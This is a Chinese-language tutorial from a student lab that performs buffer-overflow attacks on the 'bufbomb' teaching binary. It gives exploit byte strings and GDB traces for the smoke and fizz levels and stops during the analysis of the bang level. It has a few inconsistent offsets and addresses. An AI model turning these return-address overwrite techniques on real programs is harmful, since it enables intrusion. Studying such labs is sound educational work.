计算机系统基础学习笔记(7)-缓冲区溢出攻击实验_计算机系统基础实验:缓冲区溢出攻击rumble-程序员宅基地

技术标签: 字符串  计算机系统  缓冲区溢出攻击  

实验介绍

此次实验的目的在于加深对 IA-32 过程调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插 入到栈中特定内存位置)和行为,以实现实验预定的目标。

实验任务

实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击。

6个难度逐级递增的实验级别:

  • Level 0: smoke (使目标程序调用smoke函数)
  • Level 1: fizz (使目标程序使用特定参数调用fizz函数)
  • Level 2: bang (使目标程序调用bang函数修改全局变量)
  • Level 3: rumble (使目标程序调用rumble函数传递调用参数)
  • Level 4: boom (包含栈帧修复的无感攻击,并传递有效返回值)
  • Level 5: kaboom (实现栈帧地址随机变化下的有效攻击)

每级实验需根据任务目标,设计、构造1个攻击字符串, 对目标程序实施缓冲区溢出攻击,完成相应目标

实验数据

在本实验中,首先你需要从下列链接下载包含本实验相关文件的一个 tar 文件:

http://cs.nju.edu.cn/sufeng/course/mooc/0809NJU064_buflab.tar

可在 Linux 实验环境中使用命令“tar xvf 0809NJU064_buflab.tar”将其中包含的文件 提取到当前目录中。该 tar 文件中包含如下实验所需文件:

  • bufbomb: 实验需要攻击的目标 buffer bomb 程序。
  • makecookie: 该程序基于命令行参数给出的 ID,产生一个唯一的由 8 个 16 进制数字组成的字节序列(例如 0x1005b2b7),称为“cookie”,用作实验中可能需要置入栈中的数据之一。
  • hex2raw: 字符串格式转换程序。
目标程序 bufbomb 说明
bufbomb 程序接受下列命令行参数
  • -u userid: 以给定的用户ID“userid”运行程序。在每次运行程序时均应指定该参数,因为 bufbomb 程序将基于该 ID 决 定你应该使用的 cookie 值(与 makecookie 程序的输出相同),而 bufbomb 程序 运行时的一些关键栈地址取决于该 cookie 值。
  • -h: 打印可用命令行参数列表
  • -n: 以“Nitro”模式运行,用于 kaboom 实验阶段
目标程序bufbomb中函数之间的调用关系


如图所示,bufbombmain函数调用了launcher函数,launcher函数调用了launch函数,launch函数进一步调用了test函数,而test函数又调用了getbuf函数。在实验中目标程序被攻击的地方,实际上位于getbuf函数中,可以看到test函数还有一个名为testn的版本,同样getbuf函数也有一个getbufn的版本。

testn、getbufn仅在Nitro模式(Level 4 :kaboom)中被调用,其它级别均调用 test、getbuf函数,最后一个实验级别kaboom中,launch,testn,getbufn函数会被反复调用多次(默认为5次),以测试所实现攻击的鲁棒性,只有当连续5次攻击都成功时,才认为完成了最后的实验级别。

缓冲区溢出理解

作为被目标攻击的目标程序,bufbomb程序中容易被实施缓冲区溢出攻击的弱点,实际上位于前面所示函数调用层次最下层的那个getbuf函数中。

目标程序调用的getbuf函数:
/* Buffer size for getbuf */
int getbuf()
{
    
   other variables ...;
   char buf[NORMAL_BUFFER_SIZE];
   Gets(buf);
   return 1;
}

在这个getbuf函数中首先定义了一个长度固定为NORMAL_BUFFER_SIZE的字符数组,然后调用Gets函数向数组中写入字符串。其中,过程 Gets 类似于标准库过程 gets,它从标准输入读入一个字符串(以换行‘\n’或 文件结束 end-of-file 字符结尾),并将字符串(以 null 空字符结尾)存入指定的目标内存位 置。在 getbuf 过程代码中,目标内存位置是具有 NORMAL_BUFFER_SIZE 个字节存储空间的 数组 buf,而 NORMAL_BUFFER_SIZE 是大于等于 32 的一个常数。

过程 **Gets()**并不判断 buf 数组是否足够大而只是简单地向目标地址复制全部输入 字符串,因此有可能超出预先分配的存储空间边界,即缓冲区溢出。如果用户输入给 getbuf() 的字符串不超过(NORMAL_BUFFER_SIZE-1)个字符长度的话,很明显 **getbuf()**将正常返回 1。

如下列运行所示:

但是,如果输入一个更长的字符串,则可能会发生类似下列的错误:

过程调用的机器级表示

为了理解缓冲区溢出攻击的原理,以过程调用的基于栈桢的机器级实现机制来进一步理解。

栈桢:当前执行过程在内存中对应的一个区域,其中保存了当前局部变量和调用现场等重要的状态信息,每个过程在执行时都对应自己的栈桢区域。

如图中所示,当一个过程调用另外一个过程时,被调用过程会生成一个自己的栈桢。在IA32 Linux平台上,它位于比调用过程的栈桢更低的内存地址上。在一个过程的栈桢中,一开始保存的是由该过程保存的寄存器的原始内容,其中取决于过程的具体实现指令,通常最先保存的是栈桢基址寄存器EBP在调用过程中的原始值,又称为旧值。而EBP寄存器的当前值就是指向栈桢中该旧值的存储位置,它标示了当前过程的栈桢的起始位置,在栈桢其后的存储位置中保存了本过程定义和使用的非静态的局部变量。其中前面介绍的getbuf函数中的buf字符数组就是位于此处,可见Gets函数向buf的数组的写入操作如果超出了数组的边界,会改写和破坏栈中其它重要的信息。包括上面所述的局部变量和寄存器的旧值。

具体来讲,随着字符串数据自buf数组的起始位置开始不断的被写入,数据将逐步填充buf数组的存储空间,当写入操作超出了buf数组的边界以后,将进一步依次覆盖,改写保存的寄存器的值。接下来的写入操作将超出当前过程的栈桢的边界,进入到调用过程的栈桢,并首先改写其中保存的一个重要信息——返回地址,该返回地址是当前过程执行结束后,控制返回调用过程时将被执行的指令的地址,一旦缓冲区写入溢出过程中被改写为不正确的值或者指向恶意的指令代码,将使程序的执行逻辑在当前过程结束后发生错误,或者转去执行恶意代码。这就是缓冲区溢出攻击得以实现的基本原理,即超出栈桢中数组缓冲区的存储边界,向栈桢中写入任意数据,从而破坏栈桢的结构

test函数调用getbuf函数
void test()
{
    
	int val;
	/* Put canary on stack to detect possible corruption */ 
	volatile int local = uniqueval();
	
	val = getbuf();
	
	/*Checkforcorruptedstack*/ 
	if (local != uniqueval()) {
    
		printf("Sabotaged!: the stack has been corrupted\n"); 
	}
	else if (val == cookie) {
    
		printf("Boom!: getbuf returned 0x%x\n", val); validate(3);
	} 
	else {
    
		printf("Dud: getbuf returned 0x%x\n", val);
	} 
}

被攻击的包含缓冲区写入逻辑的getbuf函数在程序中被test函数所调用后序正常情况下应该从test函数中

getbuf调用后的第一条语句开始继续执行,这是程序的正常行为,因为test函数栈帧最后保存的返回地址单元中保存的值,在正常情况下,是指向 test函数中调用getbuf函数的call指令后 的第一条指令的地址。然而本实验各阶段的目的是改变该行为。

工具程序 hex2raw 说明

由于攻击字符串(exploit string)可能包含不属于 ASCII 可打印字符集合的字节取值, 因而无法直接编辑输入。为此,实验提供了工具程序 hex2raw 帮助构造这样的字符串。该程序从标准输入接收一个采用十六进制格式编码的字符串(其中使用两个十六进制数字对攻击字符串中每一字节的值进行编码表示,不同目标字节的编码之间用空格或换行等空白字符分 隔),进一步将输入的每对编码数字转为二进制数表示的单个目标字节并逐一送往标准输出。

注意,为方便理解攻击字符串的组成和内容,可以用换行分隔攻击字符串的编码表示中 的不同部分,这并不会影响字符串的解释和转换。hex2raw 程序还支持 C 语言风格的块注释 以便为攻击字符串添加注释,增加了转换前攻击字符串的可读性(如下例),这同样不影响字符串的解释与使用。

bf 66 7b 32 78 / mov $0x78327b66,%edi */*

攻击字符串示例

注意务必要在开始与结束注释字符串(“/”和“/”)前后保留空白字符,以便注释部分被 程序正确忽略。

另外,注意:

  • 攻击字符串中不能包含值为 0x0A 的字节,因为该字符对应换行符‘\n’,当 Gets过程遇到该字符时将认为该位置为字符串的结束,从而忽略其后的字符串内容。

  • 由于 hex2raw 期望字节由两个十六进制格式的数字表示,因此如果想构造一个值为 0 的字节,应指定 00 进一步,可将上述十六进制数字对序列形式的攻击字符串(例如“68 ef cd ab 00 83 c0 11 98 ba dc fe”)保存于一文本文件中,用于测试等。

    以下是一个攻击字符串的示例:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00
/* begin of buffer */
20 35 68 55      /* new %ebp */
b7 34 68 55       /* new address */
辅助程序makecookie

如前所述,本实验部分阶段的正确解答基于从 bufbomb 命令行选项 userid计算生成的 cookie 值。一个 cookie 是由 8 个 16 进制数 字组成的一个字节序列(例如 0x1005b2b7),对每一个 userid 是唯一的。可以如下使用 makecookie 程序生成对应特定 userid 的 cookie,即将 userid 作为 makecookie 程序的唯一 参数。


0x420e0c1b 即为 0809NJU064 对应的 cookie 值。

测试攻击字符串

可将攻击字符串保存在一文件 solution.txt 中,使用如下命令(将参数[userid]替换为自己想要改成的Id )测试攻击字符串在 bufbomb 上的运行结果,并与相应难度级的期望输出对比,以验证相应实验阶段通过与否。

 linux>cat solution.txt | ./hex2raw | ./bufbomb -u [userid]

上述命令使用一系列管道操作符将程序 hex2raw 从编码字符串转换得到的目标攻击字节序 列输入 bufbomb 程序中进行测试。

除上述方式以外,还可以如下将攻击字符串的二进制字节序列存于一个文件中,并使用 I/O 重定向将其输入给 bufbomb:

 linux>./hex2raw < solution.txt > solution-raw.txt
 linux>./bufbomb -u [userid] < solution-raw.txt

该方法也可用于在 GDB 中运行 bufbomb 的情况:

linux>gdb bufbomb
 (gdb) run -u [userid] < solution-raw.txt

当你设计的攻击字符串成功完成了预定的缓冲区溢出攻击目标,例如实验 Level 0 (smoke),程序将输出类似如下的信息,提示你的攻击字符串(此例中保存于文件 smoke.txt 中)设计正确:

 ./hex2raw < smoke.txt | ./bufbomb -u 0809NJU064
Userid: 0809NJU064
Cookie: 0x420e0c1b
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

实验基本步骤

本实验各个级别的求解过程,都包括类似的如下三个主要步骤。

  1. 反汇编二进制目标程序bufbomb,获得其汇编指令代码

  2. 从汇编指令中分析获得getbuf函数执行时的栈 帧结构,定位buf数组缓冲区在栈帧中的位置

  3. 根据栈帧中需要改变的目标信息及其与缓冲区 的相对位置,设计攻击字符串

各个实验的不同级别的主要差别就在地三步,也就是说在不同级别里面需要改变的目标信息各不相同,因此,在在设计攻击字符串的时候,会有不同攻击字符串的设计解答。

实验Level 0: smoke

实验目的:

构造攻击字符串,使得bufbomb目标程序在 getbuf函数执行return语句后,不是返回到test函数继续 执行,而是转而执行bufbomb程序中的smoke函数:

void smoke() {
    

 printf("Smoke!: You called smoke()\n"); validate(0);
 exit(0);

}
思路分析

利用objdump反汇编bufbomb执行文件,并将反汇编结果保存到bufbomb.txt文件中方便查看。

objdump -d bufbomb>bufbomb.txt

其中getbuf的汇编代码:

08049c5a <getbuf>:
 8049c5a:    55           push  %ebp
 8049c5b:    89 e5          mov  %esp,%ebp
 8049c5d:    83 ec 48        sub  $0x48,%esp
 8049c60:    83 ec 0c        sub  $0xc,%esp
 8049c63:    8d 45 c7        lea  -0x39(%ebp),%eax
 8049c66:    50           push  %eax
 8049c67:    e8 b9 fa ff ff     call  8049725 <Gets>
 8049c6c:    83 c4 10        add  $0x10,%esp
 8049c6f:    b8 01 00 00 00     mov  $0x1,%eax
 8049c74:    c9           leave
 8049c75:    c3           ret

如汇编指令所示,getbuf函数在调用Gets函数时,将缓冲区数组的起始地址作为参数压入栈中,并传递给Gets函数,从汇编指令可以看出,buf缓冲区开始于栈桢中地址EBP-0x39处,该参数的值即缓冲区的起始地址。是EBP寄存器的值减去0x39换成十进制就是57,基于以上分析和getbuf函数的汇编代码,我们可以画出如下图所示的getbuf函数的栈桢结构,以及其调用函数test的栈桢的底部区域结构:

在内存高地址上是test函数的栈桢,其底部保存的是返回地址,即其所调用的getbuf函数结束后将跳转到并继续执行的指令地址,在正常情况下这个地址是test函数中调用getbuf函数后的下一条指令的地址,在返回地址下面是ge tbuf函数栈桢的开始部分,保存了EBP寄存器在test函数中执行的旧值,getbuf栈桢中再往下就是buf数组缓冲区的存储空间。为了实施攻击我们需要获得该缓冲区确切的起始地址,如上面的getbuf汇编指令所示,getbuf函数在调用Gets函数时将缓冲区数组的起始地址作为参数压入栈中,并传递给了Gets函数,进一步我们可以从汇编指令看到,该参数的值就是缓冲区的起始地址,是EBP寄存器的值减去Ox39。

另一方面,getbuf函数结束后,即执行最后的ret语句时, 将取出保存于test函数栈桢中的返回地址并跳转至它继续执行,如果我们把该返回地址的值改为本级别实验的目标——smoke函数饿首条指令的地址,则getbuf函数返回时,就会转到smoke函数执行,即达到了实验的目标。

由栈桢结构可以看出,返回地址在栈桢中的地址是EBP寄存器的值加4,因此该返回地址的保存地址与缓冲区的起始地址之间相差:0x39+4 = 61个字节,也就是说如果向缓冲区写入66个字节后,再写入4个字节,将改写返回地址的值。

Level 0求解思路

将攻击字符串中自第67个字节开始的4个字节设置为实验的目标跳转地址,即smoke函数首条指令的地址,我们搜索bufbomb目标程序的反汇编代码可以发现smoke函数的首条指令的地址是0x080493e8,因此我们可以如下构造字符串:

00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 /* end of buffer */
00 11 22 33 /* saved %ebp */
e8 93 04 08 /* smoke() address */

前57个字节用于填充缓冲区,与实验目标无关,因此可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,再接下来的四个字节将用于改写栈桢中所保存的返回地址,因此我们把它们设置为smoke函数首条指令的地址,按照iA-32平台的小端顺序方式,这四个字节依次是 e8 93 04 08 ,这样当攻击字符串被Gets函数写入缓冲区后,栈桢中保存的返回地址将被修改为指向smoke函数。这样,当getbuf函数结束后,将跳转到函数smoke执行,从而实现了实验目标。

GDB调试观察求解过程

在smoke.txt文件中我们写入了以上构造的攻击字符串,首先使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在smoke-raw.txt文件中。

./hex2raw < smoke.txt > smoke-raw.txt

利用gdb命令启动并调试bufbomb程序

gdb bufbomb 

由bufbomb程序的汇编指令可以看出,我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在这两个断点处它的栈桢和它的调用函数的栈桢也就是test函数的栈桢是否有发生变化。

在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

(gdb) b *0x8049c66
Breakpoint 1 at 0x8049c66
(gdb) b *0x8049c6c
Breakpoint 2 at 0x8049c6c
(gdb)

启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件smoke-raw.txt通过重定向操作符输入到目标程序中。

(gdb) r -u 631807060623 < smoke-raw.txt
Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < smoke-raw.txt
Userid: 631807060623
Cookie: 0x6822364a

Breakpoint 1, 0x08049c66 in getbuf ()

运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——给出了getbuf函数栈桢的起始地址的寄存器内容。

(gdb) print $ebp
$1 = (void *) 0x556833c0 <_reserved+1037248>

在gebuf函数之上是test函数的栈桢,在test函数栈桢的最后存放的是一个返回地址,这个返回地址应该是在test函数调用getbuf函数的call指令之后的那条指令的地址,由test函数的汇编代码可以知道,调用gebuf函数的call指令的地址是0x804959b,在执行这条call指令的时候,一是把call指令的下条指令也就是mov指令的地址 80495a8压入栈中作为返回地址,因此bufbomb程序正常执行时,test函数调用gebuf函数时,正确的返回地址是0x80495a0

0804958d <test>:
 804958d:       55                      push   %ebp
 804958e:       89 e5                   mov    %esp,%ebp
 8049590:       83 ec 18                sub    $0x18,%esp
 8049593:       e8 4c 04 00 00          call   80499e4 <uniqueval>
 8049598:       89 45 f0                mov    %eax,-0x10(%ebp)
 804959b:       e8 ba 06 00 00          call   8049c5a <getbuf>
 80495a0:       89 45 f4                mov    %eax,-0xc(%ebp)
 80495a3:       e8 3c 04 00 00          call   80499e4 <uniqueval>
 80495a8:       89 c2                   mov    %eax,%edx
 80495aa:       8b 45 f0                mov    -0x10(%ebp),%eax
 80495ad:       39 c2                   cmp    %eax,%edx
 80495af:       74 12                   je     80495c3 <test+0x36>
 80495b1:       83 ec 0c                sub    $0xc,%esp
 80495b4:       68 34 b1 04 08          push   $0x804b134
 80495b9:       e8 62 fb ff ff          call   8049120 <puts@plt>
 80495be:       83 c4 10                add    $0x10,%esp
 80495c1:       eb 41                   jmp    8049604 <test+0x77>
 80495c3:       8b 55 f4                mov    -0xc(%ebp),%edx
 80495c6:       a1 00 d3 04 08          mov    0x804d300,%eax
 80495cb:       39 c2                   cmp    %eax,%edx
 80495cd:       75 22                   jne    80495f1 <test+0x64>
 80495cf:       83 ec 08                sub    $0x8,%esp
 80495d2:       ff 75 f4                pushl  -0xc(%ebp)
 80495d5:       68 5d b1 04 08          push   $0x804b15d
 80495da:       e8 81 fa ff ff          call   8049060 <printf@plt>
 80495df:       83 c4 10                add    $0x10,%esp
 80495e2:       83 ec 0c                sub    $0xc,%esp
 80495e5:       6a 04                   push   $0x4
 80495e7:       e8 eb 07 00 00          call   8049dd7 <validate>
 80495ec:       83 c4 10                add    $0x10,%esp
 80495ef:       eb 13                   jmp    8049604 <test+0x77>
 80495f1:       83 ec 08                sub    $0x8,%esp
 80495f4:       ff 75 f4                pushl  -0xc(%ebp)
 80495f7:       68 7a b1 04 08          push   $0x804b17a
 80495fc:       e8 5f fa ff ff          call   8049060 <printf@plt>
 8049601:       83 c4 10                add    $0x10,%esp
 8049604:       90                      nop
 8049605:       c9                      leave
 8049606:       c3                      ret

在gebuf函数之上是test函数的栈桢,也就是test函数的栈桢的最后一项是返回地址,其中返回地址的存储地址应该是EBP寄存器的值加上4,查看EBP寄存器加上4存放的返回地址。

(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>:	0x080495a

可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,这就验证上面所分析的结果。

使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

(gdb) c
Continuing.
Breakpoint 2, 0x08049c6c in getbuf ()

到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区,并且可能覆盖了栈桢的一些关键信息,查看返回地址的值是否发生变化。

(gdb) x/xw 0x556833c4

0x556833c4 <_reserved+1037252>:	0x080493e8

可以看到返回地址的存储位置上的值已经变成了0x080493e8,这就是我们在攻击字符串中设置的指向了smoke函数的第一条指令的地址。

继续运行目标程序。

(gdb) c
Continuing.
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
[Inferior 1 (process 2638) exited normally]

出现了一些文本,通过这些文本可以看出我们的确成功调用了smoke函数,也就是成功完成了Level 0: smoke的实验任务。

实验Level 1: fizz

实验目的:

本实验级别的任务是让 bufbomb 程序在其中的 getbuf 过程执行 return 语句后转而执行 fizz 过程的代码,而不是返回到 test 过程。

void fizz(int val)
{
    
	if (val == cookie) {
    
		printf("Fizz!: You called fizz(0x%x)\n", val);
		validate(1);
	} 
	else
	  printf("Misfire: You called fizz(0x%x)\n", val); 
	exit(0);
}

不过,与 Level 0 的 smoke 过程 不同,fizz 过程需要一个输入参数,如上列代码所示,本级别要求设法使该参数的值等于使makecookie 得到的 cookie 值。

注意事项

在本缓冲区溢出攻击实验中,我们并不能修改bufbomb目标程序中的任何指令和数据,包括fizz函数中的比较和条件分支指令以及cookie全局变量的值,所能改变的只是getbuf函数栈桢结构中的部分内容。

思路分析

fizz函数汇编指令:

08049415 <fizz>:
 8049415:    55           push  %ebp
 8049416:    89 e5          mov  %esp,%ebp
 8049418:    83 ec 08        sub  $0x8,%esp
 804941b:    8b 55 08        mov  0x8(%ebp),%edx
 804941e:    a1 00 d3 04 08     mov  0x804d300,%eax
 8049423:    39 c2          cmp  %eax,%edx
 8049425:    75 22          jne  8049449 <fizz+0x34>
 8049427:    83 ec 08        sub  $0x8,%esp
 804942a:    ff 75 08        pushl 0x8(%ebp)
 804942d:    68 66 b0 04 08     push  $0x804b066
 8049432:    e8 29 fc ff ff     call  8049060 <printf@plt>
 8049437:    83 c4 10        add  $0x10,%esp
 804943a:    83 ec 0c        sub  $0xc,%esp
 804943d:    6a 01          push  $0x1
 804943f:    e8 93 09 00 00     call  8049dd7 <validate>
 8049444:    83 c4 10        add  $0x10,%esp
 8049447:    eb 13          jmp  804945c <fizz+0x47>
 8049449:    83 ec 08        sub  $0x8,%esp
 804944c:    ff 75 08        pushl 0x8(%ebp)
 804944f:    68 84 b0 04 08     push  $0x804b084
 8049454:    e8 07 fc ff ff     call  8049060 <printf@plt>
 8049459:    83 c4 10        add  $0x10,%esp
 804945c:    83 ec 0c        sub  $0xc,%esp
 804945f:    6a 00          push  $0x0
 8049461:    e8 ca fc ff ff     call  8049130 <exit@plt>

fizz函数接受一个整形的val参数,在函数体中被用来与一个全局变量cookie进行比较。由汇编代码可以看出,其两个寄存器操作数的值分别拷贝自静态数据区,地址0x804d300,和栈中的地址0x8(%ebp),其中地址0x8(%ebp)处存放的就是fizz函数的调用参数val的值,因此0x804d300处存放的就是全局变量cookie的值,为达到实验的目标我们应设法使两个值相等。要使 0x8049423地址处的cmp比较指令能够得到相等的结果。应满足下列两个条件之一:

  • 地址0x8(%ebp)和0x804d300指向的存储器内容相同
  • 两个地址0x8(%ebp)和0x804b150自身相同

地址0x8(%ebp)实际上就是EBP寄存器的值加上8,要它等于已知的目标数值0x804d300相等,实际上就是想要EBP寄存器的值等于 :0x804d300 -0x8 ,也就是等于0x804d2f8

因为在本实验并不能修改bufbomb目标程序中的任何指令和数据,因此不可以通过增加指令的方法来直接设置EBP寄存器的值,但是可以发现getbuf函数最后由一条leave指令,这条指令将从栈中弹出函数开始阶段保存的EBP旧值并保存到EBP寄存器中。另一方面栈桢中缓冲区起始地址以上的存储单元的值包括保存了EBP旧值的存储单元,都可以通过缓冲区的溢出,用攻击字符串的内容进行改写,这样就提供了一种间接修改EBP寄存器中值的方法。

Level 1求解思路
  1. 在攻击字符串中对应EBP旧值的保存位置处,放上前面分析得出的EBP修改的目标值,以使getbuf函数结束前的leave指令将其设置到EBP寄存器中。
  2. 在攻击字符串中对应返回地址的位置处,放上fizz函数中合适指令的地址,以使getbuf函数结束后跳转到该地址处执行。

对于第2点,目标地址不应像Level 0那样设为fizz函数的首指令地址,因为fizz函数的第二条指令**“mov %esp,%ebp”**将覆盖掉在之前getbuf结束时通过leave指令设置的EBP寄存器中的目标值。本实验并不要求真地调用fizz函数,所以可以直接跳转fizz函数中在cmp比较指令前读取EBP寄存器中值的相应指令。综上所属我们可以构造如下攻击字符串:

00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66 77 88 99 
00 11 22 33 44 55 66/* end of buffer */
f8 d2 04 08
1b 94 04 08

前57个字节用于填充缓冲区,与实验目标无关,可以随意设置。接下来的4个字节用于改写栈桢中保存的EBP寄存器中旧值,也就是用于间接设置EBP寄存器的值,因此我们把这四个字节设置为EBP寄存器中的目标值,即全局变量cookid的地址,0x804d300 -0x8 ,等于0x804d2f8,并且按照小端顺序组织,再接着的4个字节将改写栈桢中保存的返回地址,把它设置为fizz函数中在比较指令之前读取EBP寄存器中值的指令 mov 0x8(%ebp),%edx它的地址0x804941b,同样按照小端顺序组织。这样的攻击字符串同时修改了栈桢中保存的EBP的旧值和返回地址。首先通过getbuf函数最后的leave指令,实现对EBP寄存器中值的设置,然后通过ret指令跳转到目标fizz函数中相应指令执行,从而实现了实验目标。

GDB调试观察Level 1求解过程

在fizz.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在fizz-raw.txt文件中。

./hex2raw < fizz.txt > fizz-raw.txt

利用gdb命令启动并调试bufbomb程序

gdb bufbomb 

我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。

在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

(gdb) b *0x8049c66
Breakpoint 1 at 0x8049c66
(gdb) b *0x8049c6c
Breakpoint 2 at 0x8049c6c
(gdb)

启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。

(gdb) r -u 631807060623 < fizz-raw.txt
Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < fizz-raw.txt
Userid: 631807060623
Cookie: 0x6822364a

Breakpoint 1, 0x08049c66 in getbuf ()

运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。

(gdb) print $ebp
$1 = (void *) 0x556833c0 <_reserved+1037248>

查看EBP寄存器的旧值。

(gdb) x/xw 0x556833c0
0x556833c0 <_reserved+1037248>:	0x556833e0

结果显示EBP寄存器的旧值是556833e0,在之后的攻击字符串将要改写这个值,同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。

(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>:	0x080495a0

可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,因此getbuf函数结束后将返回到test函数正常执行。

使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

(gdb) c
Continuing.
Breakpoint 2, 0x08049c6c in getbuf ()

到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区。查看EBP寄存器的旧值是否改变。

(gdb)  x/xw 0x556833c0
0x556833c0 <_reserved+1037248>:	0x0804d2f8

可以看到EBP寄存器的旧值的存储位置上的值已经变成了0x0804d2f8,这就是我们在攻击字符串中设置的cookie全局变量的地址减去8以后的结果。也就是说攻击字符串已经把栈桢中保存的EBP寄存器的旧值改变。

查看返回地址的值是否发生变化。

(gdb)  x/xw 0x556833c4
0x556833c4 <_reserved+1037252>:	0x0804941b

可以看到返回地址的存储位置上的值已经变成了0x0804941b,这就是我们在攻击字符串中设置的指向了fizz函数中在比较指令之前读取EBP寄存器中值的地址。

继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。

(gdb) c
Continuing.
Type string:Fizz!: You called fizz(0x6822364a)
VALID
NICE JOB!
[Inferior 1 (process 67757) exited normally]

程序输出可以看出我们成功调用了fizz函数,也就是成功完成了Level 1: fizz的实验任务。

实验Level 2: bang

实验目的:

更复杂的缓冲区攻击将在攻击字符串中包含实际的机器指令,并通过攻击字符串将原返回地址指针改写为位于栈上的攻击机器指令的开始地址。这样,当调用过程(这里是 getbuf)执行 ret 指令时,程序将开始执行攻击代码而不是返回上层过程。

使用这种攻击方式可以使被攻击程序执行任何操作。随攻击字符串被放置到栈上的代码称为攻击代码(exploit code)。然而,此类攻击具有一定难度,因为必须设法将攻击机器代码置入栈中,并且将返回地址指向攻击代码的起始位置。

在 bufbomb 程序中,有一个bang过程,代码如下:

int global_value = 0; 
void bang(int val)
{
    
	if (global_value == cookie) {
    
		printf("Bang!: You set global_value to 0x%x\n",global_value);
		validate(2);
		} 
	else
	  printf("Misfire: global_value = 0x%x\n", global_value);
	exit(0); 
}

本实验级别的任务是让 bufbomb 执行 bang 过程中的代码而不是返回到 test 过程继续执行。具体来讲,攻击代码应首先将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行

注意事项
  • 可以使用 GDB 获得构造攻击字符串所需的信息。例如,在 getbuf 过程里设置一个断点并执行到该断点处,进而确定 global_value 和缓冲区等变量的地址。
  • 手工进行指令的字节编码枯燥且容易出错。相反,你可以使用一些工具来完成该工作。
  • 不要试图利用 jmp 或者 call 指令跳到 bang 过程的代码中,这些指令使用相对 PC 的寻址,很难正确达到前述目标。相反,你应向栈中压入地址并使用 ret 指令实现跳转。
思路分析

bang函数的汇编代码:


08049466 <bang>:
 8049466:    55           push  %ebp
 8049467:    89 e5          mov  %esp,%ebp
 8049469:    83 ec 08        sub  $0x8,%esp
 804946c:    a1 08 d3 04 08     mov  0x804d308,%eax    //全局变量cookie的值
 8049471:    89 c2          mov  %eax,%edx
 8049473:    a1 00 d3 04 08     mov  0x804d300,%eax    //global_value的值
 8049478:    39 c2          cmp  %eax,%edx
 804947a:    75 25          jne  80494a1 <bang+0x3b>
 804947c:    a1 08 d3 04 08     mov  0x804d308,%eax
 8049481:    83 ec 08        sub  $0x8,%esp
 8049484:    50           push  %eax
 8049485:    68 a4 b0 04 08     push  $0x804b0a4
 804948a:    e8 d1 fb ff ff     call  8049060 <printf@plt>
 804948f:    83 c4 10        add  $0x10,%esp
 8049492:    83 ec 0c        sub  $0xc,%esp
 8049495:    6a 02          push  $0x2
 8049497:    e8 3b 09 00 00     call  8049dd7 <validate>
 804949c:    83 c4 10        add  $0x10,%esp
 804949f:    eb 16          jmp  80494b7 <bang+0x51>
 80494a1:    a1 08 d3 04 08     mov  0x804d308,%eax
 80494a6:    83 ec 08        sub  $0x8,%esp
 80494a9:    50           push  %eax
 80494aa:    68 c9 b0 04 08     push  $0x804b0c9
 80494af:    e8 ac fb ff ff     call  8049060 <printf@plt>
 80494b4:    83 c4 10        add  $0x10,%esp
 80494b7:    83 ec 0c        sub  $0xc,%esp
 80494ba:    6a 00          push  $0x0
 80494bc:    e8 6f fc ff ff     call  8049130 <exit@plt>

